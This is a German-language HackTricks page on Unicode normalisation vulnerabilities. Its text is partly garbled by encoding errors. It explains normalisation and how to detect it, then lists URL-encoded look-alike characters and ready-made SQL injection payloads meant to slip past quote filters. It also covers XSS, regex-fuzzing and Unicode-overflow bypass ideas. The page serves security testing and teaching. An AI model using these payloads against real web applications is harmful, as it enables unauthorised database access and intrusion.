Unicode Normalisierung
Reading time: 6 minutes
tip
Lernen & ĂŒben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & ĂŒben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
UnterstĂŒtzen Sie HackTricks
- ĂberprĂŒfen Sie die AbonnementplĂ€ne!
- Treten Sie der đŹ Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter đŠ @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Dies ist eine Zusammenfassung von: https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/. Schauen Sie sich weitere Details an (Bilder dort entnommen).
VerstÀndnis von Unicode und Normalisierung
Die Unicode-Normalisierung ist ein Prozess, der sicherstellt, dass verschiedene binÀre Darstellungen von Zeichen auf denselben binÀren Wert standardisiert werden. Dieser Prozess ist entscheidend im Umgang mit Zeichenfolgen in der Programmierung und Datenverarbeitung. Der Unicode-Standard definiert zwei Arten von ZeichenÀquivalenz:
- Kanonische Ăquivalenz: Zeichen gelten als kanonisch Ă€quivalent, wenn sie beim Drucken oder Anzeigen dasselbe Aussehen und dieselbe Bedeutung haben.
- KompatibilitĂ€tsĂ€quivalenz: Eine schwĂ€chere Form der Ăquivalenz, bei der Zeichen dasselbe abstrakte Zeichen darstellen können, aber unterschiedlich angezeigt werden können.
Es gibt vier Unicode-Normalisierungsalgorithmen: NFC, NFD, NFKC und NFKD. Jeder Algorithmus verwendet kanonische und kompatible Normalisierungstechniken unterschiedlich. FĂŒr ein tieferes VerstĂ€ndnis können Sie diese Techniken auf Unicode.org erkunden.
Wichtige Punkte zur Unicode-Codierung
Das VerstÀndnis der Unicode-Codierung ist entscheidend, insbesondere im Umgang mit InteroperabilitÀtsproblemen zwischen verschiedenen Systemen oder Sprachen. Hier sind die Hauptpunkte:
- Codepunkte und Zeichen: In Unicode wird jedem Zeichen oder Symbol ein numerischer Wert zugewiesen, der als "Codepunkt" bekannt ist.
- Byte-Darstellung: Der Codepunkt (oder das Zeichen) wird im Speicher durch ein oder mehrere Bytes dargestellt. Zum Beispiel werden LATIN-1-Zeichen (hĂ€ufig in englischsprachigen LĂ€ndern) mit einem Byte dargestellt. Sprachen mit einem gröĂeren Zeichensatz benötigen jedoch mehr Bytes zur Darstellung.
- Codierung: Dieser Begriff bezieht sich darauf, wie Zeichen in eine Reihe von Bytes umgewandelt werden. UTF-8 ist ein verbreiteter Codierungsstandard, bei dem ASCII-Zeichen mit einem Byte und bis zu vier Bytes fĂŒr andere Zeichen dargestellt werden.
- Datenverarbeitung: Systeme, die Daten verarbeiten, mĂŒssen sich der verwendeten Codierung bewusst sein, um den Byte-Stream korrekt in Zeichen umzuwandeln.
- Varianten von UTF: Neben UTF-8 gibt es andere Codierungsstandards wie UTF-16 (mit mindestens 2 Bytes, bis zu 4) und UTF-32 (mit 4 Bytes fĂŒr alle Zeichen).
Es ist entscheidend, diese Konzepte zu verstehen, um potenzielle Probleme, die aus der KomplexitÀt von Unicode und seinen verschiedenen Codierungsmethoden entstehen, effektiv zu bewÀltigen und zu mindern.
Ein Beispiel dafĂŒr, wie Unicode zwei verschiedene Bytes normalisiert, die dasselbe Zeichen darstellen:
unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "chlo\u00e9")
Eine Liste der Unicode-Ăquivalente Zeichen finden Sie hier: https://appcheck-ng.com/wp-content/uploads/unicode_normalization.html und https://0xacb.com/normalization_table
Entdeckung
Wenn Sie in einer Webanwendung einen Wert finden, der zurĂŒckgegeben wird, könnten Sie versuchen, âKELVIN SIGNâ (U+0212A) zu senden, das normalisiert zu "K" (Sie können es als %e2%84%aa
senden). Wenn ein "K" zurĂŒckgegeben wird, dann wird eine Art von Unicode-Normalisierung durchgefĂŒhrt.
Ein weiteres Beispiel: %F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D%94%B0%F0%9D%94%A5%F0%9D%99%96%F0%9D%93%83
nach Unicode ist Leonishan
.
AnfÀllige Beispiele
SQL Injection Filterumgehung
Stellen Sie sich eine Webseite vor, die das Zeichen '
verwendet, um SQL-Abfragen mit Benutzereingaben zu erstellen. Diese Webseite löscht als SicherheitsmaĂnahme alle Vorkommen des Zeichens '
aus der Benutzereingabe, aber nach dieser Löschung und vor der Erstellung der Abfrage, normalisiert sie die Eingabe des Benutzers mit Unicode.
Dann könnte ein böswilliger Benutzer ein anderes Unicode-Zeichen, das Àquivalent zu ' (0x27)
ist, wie %ef%bc%87
einfĂŒgen. Wenn die Eingabe normalisiert wird, entsteht ein einfaches AnfĂŒhrungszeichen und eine SQLInjection-SicherheitsanfĂ€lligkeit tritt auf:
Einige interessante Unicode-Zeichen
o
-- %e1%b4%bcr
-- %e1%b4%bf1
-- %c2%b9=
-- %e2%81%bc/
-- %ef%bc%8f-
-- %ef%b9%a3#
-- %ef%b9%9f*
-- %ef%b9%a1'
-- %ef%bc%87"
-- %ef%bc%82|
-- %ef%bd%9c
' or 1=1-- -
%ef%bc%87+%e1%b4%bc%e1%b4%bf+%c2%b9%e2%81%bc%c2%b9%ef%b9%a3%ef%b9%a3+%ef%b9%a3
" or 1=1-- -
%ef%bc%82+%e1%b4%bc%e1%b4%bf+%c2%b9%e2%81%bc%c2%b9%ef%b9%a3%ef%b9%a3+%ef%b9%a3
' || 1==1//
%ef%bc%87+%ef%bd%9c%ef%bd%9c+%c2%b9%e2%81%bc%e2%81%bc%c2%b9%ef%bc%8f%ef%bc%8f
" || 1==1//
%ef%bc%82+%ef%bd%9c%ef%bd%9c+%c2%b9%e2%81%bc%e2%81%bc%c2%b9%ef%bc%8f%ef%bc%8f
sqlmap-Vorlage
GitHub - carlospolop/sqlmap_to_unicode_template
XSS (Cross Site Scripting)
Sie könnten eines der folgenden Zeichen verwenden, um die Webanwendung zu tÀuschen und eine XSS auszunutzen:
Beachten Sie, dass das erste vorgeschlagene Unicode-Zeichen beispielsweise als: %e2%89%ae
oder als %u226e
gesendet werden kann.
Fuzzing Regexes
Wenn das Backend Benutzereingaben mit einem Regex ĂŒberprĂŒft, könnte es möglich sein, dass die Eingabe fĂŒr den Regex normalisiert wird, aber nicht fĂŒr den Ort, an dem sie verwendet wird. Zum Beispiel könnte in einem Open Redirect oder SSRF der Regex die gesendete URL normalisieren, aber dann so verwenden, wie sie ist.
Das Tool recollapse **** ermöglicht es, Variationen der Eingabe zu generieren, um das Backend zu fuzzern. FĂŒr weitere Informationen besuchen Sie das github und diesen Beitrag.
Unicode Overflow
Aus diesem Blog ist der maximale Wert eines Bytes 255. Wenn der Server anfÀllig ist, kann ein Overflow erstellt werden, um ein bestimmtes und unerwartetes ASCII-Zeichen zu erzeugen. Zum Beispiel werden die folgenden Zeichen in A
umgewandelt:
- 0x4e41
- 0x4f41
- 0x5041
- 0x5141
Referenzen
- https://labs.spotify.com/2013/06/18/creative-usernames/
- https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work
- https://jlajara.gitlab.io/posts/2020/02/19/Bypass_WAF_Unicode.html
- https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows
tip
Lernen & ĂŒben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & ĂŒben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
UnterstĂŒtzen Sie HackTricks
- ĂberprĂŒfen Sie die AbonnementplĂ€ne!
- Treten Sie der đŹ Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter đŠ @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.